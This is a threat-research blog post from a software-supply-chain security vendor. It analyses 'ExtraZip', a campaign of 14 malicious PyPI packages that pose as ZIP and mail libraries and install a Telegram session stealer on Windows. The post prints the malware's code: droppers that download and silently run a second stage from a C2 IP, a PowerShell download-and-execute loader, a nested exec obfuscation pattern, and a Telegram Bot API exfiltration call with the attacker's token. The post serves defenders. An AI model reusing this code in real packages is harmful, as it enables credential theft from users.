ExtraZip: Fake ZIP Utilities Unleash Python Malware On Unsuspecting Victims

Paul McCarty
15 mins
February 5, 2026

The Safety research team has identified a new malicious campaign that includes 14 malicious Python packages that pretend to be Zip utility or mail sender libraries.  In reality, these packages deploy a Windows based infostealer.  We are calling this campaign “ExtraZip” based on the name of one of the packages.

Executive Summary

The “ExtraZip” campaign is a trojanized Python library distributed via PyPI that masquerades as legitimate ZIP file archiving utilities or email sending libraries. Upon installation, the malware deploys a multi-stage attack chain that ultimately steals Telegram Desktop session files and exfiltrates them to an attacker-controlled Telegram bot.

The malware employs 32 layers of obfuscation to evade detection and analysis. This complex multi-layered obfuscation approach is intended to keep researchers or automated LLM detection engines from deobfuscating the payload.

An inventory of the malicious packages

mzip (2025-11-22) - devil.email@example.com

uzip (2025-11-22) - zheqre - devil.email@example.com

uuzip (2025-11-22) - necr - necr.email@example.com

minizip (2025-11-23) - pepro - necr.email@example.com

kzip (2025-12-10) - necr.email@example.com

gxzip (2025-12-10) - ulicam - necr.email@example.com

yzip (2025-12-11) - muerter - necr.email@example.com

smtblib (2025-12-15) - zaushik - hz.email@example.com

unizip (2025-12-22) - xxtentacicon - necr.email@example.com

smtrlib (2025-12-22) - xxtentacicon - necr.email@example.com

extrazip (2025-12-27) - h0k3tzij - necr.email@example.com

cryptozip (2025-12-28) - h0k3tzij - necr.email@example.com

smtmlib (2025-12-29) - h0k3tzij - necr.email@example.com

ziphash (2026-01-01) - hashzz - necr.email@example.com

Attack Timeline

  • Initial Wave (Nov 22-23): Campaign started with 4 packages deployed rapidly within 2 days using two different email addresses
  • Mid-Campaign Burst (Dec 10-11): Three packages deployed in quick succession, all associated with necr.email@example.com
  • Late December Acceleration (Dec 22-29): Highest activity period with 6 packages deployed, showing escalation by multiple authors (xxtentacicon, h0k3tzij)
  • New Year Deployment (Jan 1): Campaign continued into 2026 with ziphash package
  • Dominant Actor: necr.email@example.com account used for 10 out of 14 packages (71%), suggesting primary threat actor
  • Author Variety: 9 different PyPI author names used to evade detection through attribution diversity

Attack Chain Overview

┌─────────────────────────────────────────────────────────────────┐
│ STAGE 1: Initial Infection via PyPI                             │
│ User installs malicious package: pip install extrazip           │
│ User imports & instantiates archiver class. Triggers malware    │
└────────────────────────┬────────────────────────────────────────┘
                        │
                        ▼
┌─────────────────────────────────────────────────────────────────┐
│ STAGE 2: Second Stage Download                                  │
│ C2: <hxxp://87.120[.]107[.]132:1488/drill>                      │
│ Save to: %TEMP%\\1.py                                           │
│ Executes: pythonw.exe %TEMP%\\1.py (silent, no console)         │
│                                                                 │
└────────────────────────┬────────────────────────────────────────┘
                        │
                        ▼
┌─────────────────────────────────────────────────────────────────┐
│ STAGE 3: 32-Layer Deobfuscation                                 │
│ Layer 1-32: exec((_)(b'...'))                                   │
│ Each layer: Reverse → Base64 Decode → Zlib Decompress           │
│ Final payload: Telegram session stealer                         │
│                                                                 │
└────────────────────────┬────────────────────────────────────────┘
                        │
                        ▼
┌─────────────────────────────────────────────────────────────────┐
│ STAGE 4: Session Theft & Exfiltration                           │
│ 1. Find Telegram Desktop installation                           │
│ 2. Copy session files to %TEMP%\\tsecret                        │
│ 3. Create ZIP archive: %TEMP%\\tsecret.zip                      │
│ 4. Upload to Telegram Bot API                                   │
└────────────────────────┬────────────────────────────────────────┘

Stage 1: Initial Dropper Analysis

There are several variations of the payload in the init.py file. The threat actors made slight changes to each package in an effort to not get caught. Some of the payloads obfuscate the payloads; others don't. Some packages encode the exfiltration function; others don't. Some of the packages put the payload in the init.py file, and others put it in the .py file.  

The all pull the same second stage loader from the IP address 87.120.107.132, however.

File: extrazip.py (from extrazip package)

Deceptive Functionality

The package appears to be a legitimate ZIP archiving library with the following public interface:

class archiver:
   def __init__(self, compression: int = zipfile.ZIP_DEFLATED)
   def archive(self, zip_path: str, paths: list[str]) -> None
   def extract(self, zip_path: str, extract_to: str = '.') -> None

Malicious Code (Lines 45-63)

Trigger Mechanism:

  • Executes automatically in __init__() method
  • Windows-only (sys.platform.startswith('win'))
  • Wrapped in try/except for silent failure

Attack Sequence:

if sys.platform.startswith('win'):
   try:
       # Download second stage
       code = requests.get('<hxxp://87.120[.]107[.]132:1488/drill>').text

       # Write to temp directory
       temp = os.getenv("TEMP")
       filss = f'{temp}\\\\\\\\1.py'
       with open(filss, 'w') as the_file:
           the_file.write(code)

       # Execute silently (no console window)
       subprocess.Popen(["pythonw.exe", filss])
   except:
       pass

File: yzip.py (from yzip package)

Malicious Code

if sys.platform.startswith('win'):
   script_path = os.path.abspath(__file__)

   code = f'''$base64 = 'H4sIAAAAAAAEAIXLMQ7CIBQA0KuwQaOFUk0kONY41iaNcWEp5TdisBj4TfX2egOnNz3Wwlpe7ANGJP0nIzx5C8hvYJvgYcaCn+I6hzi4sw/A6B3xpYVQBy7risvq567Wcq+UcBPdEtpoc82QsukWG/xIyYZQY+zig+PwBlocSY9DwrJLcYScCftfvuZDs4SlAAAA'
$compressed = [Convert]::FromBase64String($base64)
$ms = New-Object IO.MemoryStream
$ms.Write($compressed, 0, $compressed.Length)
$ms.Seek(0,0) | Out-Null
$gz = New-Object IO.Compression.GzipStream($ms, [IO.Compression.CompressionMode]::Decompress)
$sr = New-Object IO.StreamReader($gz)
$cmd = $sr.ReadToEnd()
$str1 =[Convert]::FromBase64String("ZnJvbSAuZ3h6aXAgaW1wb3J0IGFyY2hpdmVy")
$str = [System.Text.Encoding]::UTF8.GetString($str1)
Set-Content -Path "{script_path}" -Value $str
Invoke-Expression $cmd
Remove-Item $PSCommandPath -Force'''
   tmp = os.getenv("TMP")
   put = tmp+"\\ab.ps1"
   with open(put, "w", encoding="utf-8") as f:
       f.write(code)
   subprocess.Popen([
       'powershell.exe',
       '-NoProfile',
       '-ExecutionPolicy', 'Bypass',
       '-WindowStyle', 'Hidden',
       '-File', f"{put}"
   ], stdout=subprocess.PIPE, stderr=subprocess.PIPE, creationflags=subprocess.CREATE_NO_WINDOW)

The base64 above decodes to:

(New-Object System.Net.WebClient).DownloadFile('http://87.120.107.132:1488/df', 'C:\Users\Public' + '\\build.exe'); Start-Process
 ('C:\Users\Public' + '\\build.exe')

File: ziphash.py (from ziphash package)

Malicious Code

The ziphash package doesn't mess around with obfuscating the second stage loader and just blurts out the download url in the clear in the ziphash.py file:

if sys.platform.startswith('win'):
           try:

               code = requests.get('http://87.120.107.132:1488/drill').text
               temp = os.getenv("TEMP")
               filss = f'{temp}\\1.py'
               with open(filss, 'w') as the_file:
                   the_file.write(code)
               subprocess.Popen(["pythonw.exe", filss])
               code2 = requests.get('http://87.120.107.132:1488/key').text
               filss2 = f'{temp}\\2.py'
               with open(filss2, 'w') as the_file2:
                   the_file2.write(code2)
               subprocess.Popen(["pythonw.exe", filss2])
           except:
               pass


Key Observations:

  • Auto-installs dependencies: psutil, requests (lines 6-13)
  • Uses pythonw.exe instead of python.exe to avoid showing console
  • Silent error handling prevents detection
  • Execution is asynchronous (non-blocking)

Stage 2: Second Stage Loader

Retrieval Information

C2 Server: hxxp://87.120[.]107[.]132:1488/drill

File Location: %TEMP%\\\\1.py

Execution Method: pythonw.exe (windowless Python interpreter)

Stage 3: Heavily Obfuscated Payload

Obfuscation Technique

The malware employs 32 layers of nested obfuscation, each using the same pattern:

_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]))
exec((_)(b'<obfuscated_payload>'))

Deobfuscation Process per Layer:

  1. Reverse the byte string (__[::-1])
  2. Base64 decode the reversed string
  3. Zlib decompress the decoded data
  4. Execute the decompressed code

Layer Structure

Layer 1  → Layer 2  → Layer 3  → ... → Layer 32 → Final Payload
 exec()     exec()     exec()           exec()     Python Code
   ↓          ↓          ↓                ↓            ↓
 Base64    Base64    Base64            Base64    Telegram Stealer
 Zlib      Zlib      Zlib              Zlib

Purpose of Extreme Obfuscation:

  • Evade static analysis tools
  • Bypass antivirus signature detection
  • Slow down manual reverse engineering
  • Defeat automated sandbox analysis (timeout/resource exhaustion)
  • Hide malicious intent from PyPI automated scans

Stage 4: Final Payload - Telegram Session Stealer

Overview

The final payload is a sophisticated Telegram Desktop session stealer that targets authentication data required for account takeover.

Technical Analysis

1. Telegram Installation Discovery

Method 1: Process Enumeration (Lines 98-112)

processes = psutil.process_iter(['name', 'exe'])
for process in processes:
   name = process.info['name']
   if name and "gram" in name.lower():  # Matches Telegram, TelegramDesktop, etc.
       exe_path = process.info['exe']
       path = os.path.dirname(exe_path) + "\\\\\\\\tdata"
       paths.append(path)

Method 2: Static Path Enumeration (Lines 113-124)

static_paths = [
   "%USERPROFILE%\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\Telegram Desktop\\\\\\\\tdata",
   "D:\\\\\\\\Telegram Desktop\\\\\\\\tdata",
   "C:\\\\\\\\Program Files\\\\\\\\Telegram Desktop\\\\\\\\tdata",
   "C:\\\\\\\\Program Files (x86)\\\\\\\\Telegram Desktop\\\\\\\\tdata"
]

2. Session File Targeting

The malware selectively copies specific Telegram session files:

Directory Targeting (Lines 52-56):

  • Directories with exactly 16-character names (Telegram session directories)

File Targeting (Lines 58-68):

  • Files ending in s with exactly 17-character names (session keys)
  • Files starting with usertag (user identification data)
  • Files starting with settings (account settings)
  • Files starting with key_data (encryption keys)
  • Size limit: Files must be under 5KB (filter out media/cache)

Why These Files:These files contain Telegram's authentication tokens and session data. With these files, an attacker can:

  • Log into victim's Telegram account from any device
  • Access all messages, contacts, and groups
  • Send messages as the victim
  • Access Telegram-based 2FA codes
  • Access cryptocurrency wallets linked to Telegram
  • Steal funds from Telegram-based crypto bots

3. Data Staging (Lines 44-47)

stealer_dir = os.path.join(tempfile.gettempdir(), "tsecret")
# Creates: %TEMP%\\\\tsecret\\\\

Staging Process:

  1. Create temporary directory: %TEMP%\\\\tsecret
  2. Copy all targeted session files
  3. Recursively copy session directories

4. Archive Creation (Lines 70-73)

zip_archive = os.path.join(tempfile.gettempdir(), "tsecret.zip")
shutil.make_archive(base_name=zip_archive.replace('.zip', ''),
                   format='zip',
                   root_dir=stealer_dir)

Output: %TEMP%\\\\tsecret.zip

5. Exfiltration via Telegram Bot API (Lines 79-96)

Primary Exfiltration Method:

files = {
   'document': ("tsecret.zip", zip_file, 'application/zip')
}
payload = {
   'chat_id': str("8031384908")
}
response = requests.post(
   "<hxxps://api[.]telegram[.]org/bot8238188380:AAF4lnYaCLyMSZjo6nE1tHXhM8utdGKZYjw/sendDocument?">,
   data=payload,
   files=files
)

Backup Exfiltration Method (Commented Out):

# <hxxp://87.120[.]107[.]132:3301/reactor>
# headers = {"Authorization": "you_stupid_bastard"}

Why Telegram Bot API:

  • Encrypted HTTPS traffic (harder to detect)
  • Legitimate service (blends with normal traffic)
  • No need to manage separate C2 infrastructure
  • Free and anonymous bot creation
  • Built-in file storage
  • Difficult to takedown (requires Telegram cooperation)

Indicators of Compromise (IOCs)

PyPI Packages:

cryptozip
extrazip
gxzip
kzip
minizip
mzip
smtblib
smtmlib
smtrlib
unizip
uuzip
uzip
yzip
ziphash

File hashes:

3f441cf33c869fac752f17d67fbc0815f09f7506dda4b05255e2a8b5df4c76f7  ../extrazip_second_stage.py

2599af93cd73e5e5ae06a4eed9a40330df16debeb4e3c65a8b513f1bb5bf0bba  ../final_malware_payload.py

28a6388e585a8755cee506add67eafe989c4b3b60aae2852efabc8fb1d35c92f  ./smtblib/__init__.py
b2e0d1cbec32e7ff3cffc6cf8ff0b68eea5e626acba412a23d134f75260ea50a  ./smtblib/smtblib.py
7323f6a424d9e29a70858ed6fe0ef1316bed399d7d76fb1e8517ddc69fd7f3bf  ./unizip/__init__.py
c8db57ebe02523bd628f22c2fddfc88ff3e3d78eb9077514d42c48182729992f  ./unizip/unizip.py
558409971dcafeeea9ff69dd6503cf2eb9923b90ee4dec83aec270c60a929e37  ./ziphash/__init__.py
73bce019f9f444b47c6d22e6bc4dda862e1dbbd818ce70a1a627dd873d096297  ./ziphash/ziphash.py
c2112679c440e410839c3e0c6cc3ebff3dd7f3b7123a5e16fdc293d3475b875c  ./gxzip/__init__.py
ade799406b218b9c2ed23a1eec3c8c3a5d0269d93d3beca2dfec02053f35c753  ./gxzip/gxzip.py
f9e52d79e10d995f2fdab28f76b174e2b279f7eecce53c889e9ff05ce98be442  ./mzip-0.1.0/mzip/__init__.py
9215da9d28688d107ac53d7068a7d9222281b1878d8c5923641512abc4a7c6d6  ./mzip-0.1.0/mzip/mzip.py
29d629316d0a41d5974c847dfb8faf02243608d00f49338d30a57093f5a0e289  ./mzip-0.1.0/mzip/mzlp.py
6e1b1295e86e774c1d5ce85b284e9d761296c1e49009dcbae4c6eeaebcb24857  ./minizip/__init__.py
324549c09da22a1649df1dc4bca540105b65c3e3fc1bdcda66139cfe2ac8fe84  ./minizip/minizip.py
b9d5dbae996106c2e2c759e8f7cd010147a62d2d7e76f03e9f189d170d2ccf3b  ./yzip/__init__.py
ade799406b218b9c2ed23a1eec3c8c3a5d0269d93d3beca2dfec02053f35c753  ./yzip/yzip.py
324549c09da22a1649df1dc4bca540105b65c3e3fc1bdcda66139cfe2ac8fe84  ./uuzip/uuzip.py
02c11ed0f4182b35a6b710da6c40667fd53c4993e5b5414be214d88466f73d67  ./uuzip/__init__.py
baa5ca4830519650873933027ccb6b5c60b9ce20228523c9245df85ea1c2f6a8  ./uzip/__init__.py
2a361d2e16e1cae249e4d0ded857d2f10057f13a328d6b509f3a65c0bec2ede1  ./uzip/uzip.py
29d629316d0a41d5974c847dfb8faf02243608d00f49338d30a57093f5a0e289  ./uzip/uzlp.py
adbe53bb618772dab89e042269478a6cec4b2650de90b9341d29ab371bc1f9fe  ./kzip-0.1.0/kzip/__init__.py
ade799406b218b9c2ed23a1eec3c8c3a5d0269d93d3beca2dfec02053f35c753  ./kzip-0.1.0/kzip/kzip.py

Network Indicators

C2 Server: 87.120.107.132 - Second stage download endpoint

C2 Endpoint: hxxp://87.120[.]107[.]132:1488/drill - Second stage payload URL

Backup C2: hxxp://87.120[.]107[.]132:3301/reactor - Alternative exfiltration endpoint

Exfiltration: api[.]telegram[.]org/bot8238188380:AAF4lnYaCLyMSZjo6nE1tHXhM8utdGKZYjw/sendDocument - Telegram Bot API endpoint

C2 Server: 77.105.161.164 - smtb packages C2 server

C2 Endpoint: hxxp://77.105[.]161[.]164:3301/library - Second stage payload URL for smtb packages

File System Indicators

%TEMP%\1.py - Second stage payload

%TEMP%\tsecret\ - Staging directory for stolen sessions

%TEMP%\tsecret.zip - Exfiltration archive

Python site-packages\extrazip/ - Malicious package directory

Telegram Indicators

Bot Token: 8238188380:AAF4lnYaCLyMSZjo6nE1tHXhM8utdGKZYjw - Attacker's Telegram bot

Chat ID: 8031384908 - Attacker's Telegram chat/channel

Process Indicators

pythonw.exe %TEMP%\1.py - Silent execution of second stage

python.exe -m pip install psutil --quiet - Auto-dependency installation

python.exe -m pip install requests --quiet - Auto-dependency installation

How can Safety help protect you from these attacks?

Traditional vulnerability scanning happens too late - after potentially malicious code is already in your system. Which means that ASPM and EDR solutions don't protect you from this type of threat.

But all is not lost, as the Safety Firewall protects develoeprs and CI pipelines proactively. Every package installation request is analyzed before reaching public repositories. Malicious, vulnerable, and policy-violating packages are automatically blocked before they can enter your systems, preventing rather than just detecting threats.

You can sign up for a free Safety account and try the Safety Firewall HERE.

Feel free to reach out to me with any questions!

Let us know if this blog post helped you

I hope this blog post has helped you. Feel free to hit me up directly if you have any questions about this campaign.

Paul McCarty - Head of Research, Safety

You can find me on LinkedIn and BlueSky.

Related

Similar Posts

Secure your supply chain in 60 seconds.
No sales calls, no complex setup.
Just instant protection.

Get Started for Free
View Documentation
Arrow
CTA Graph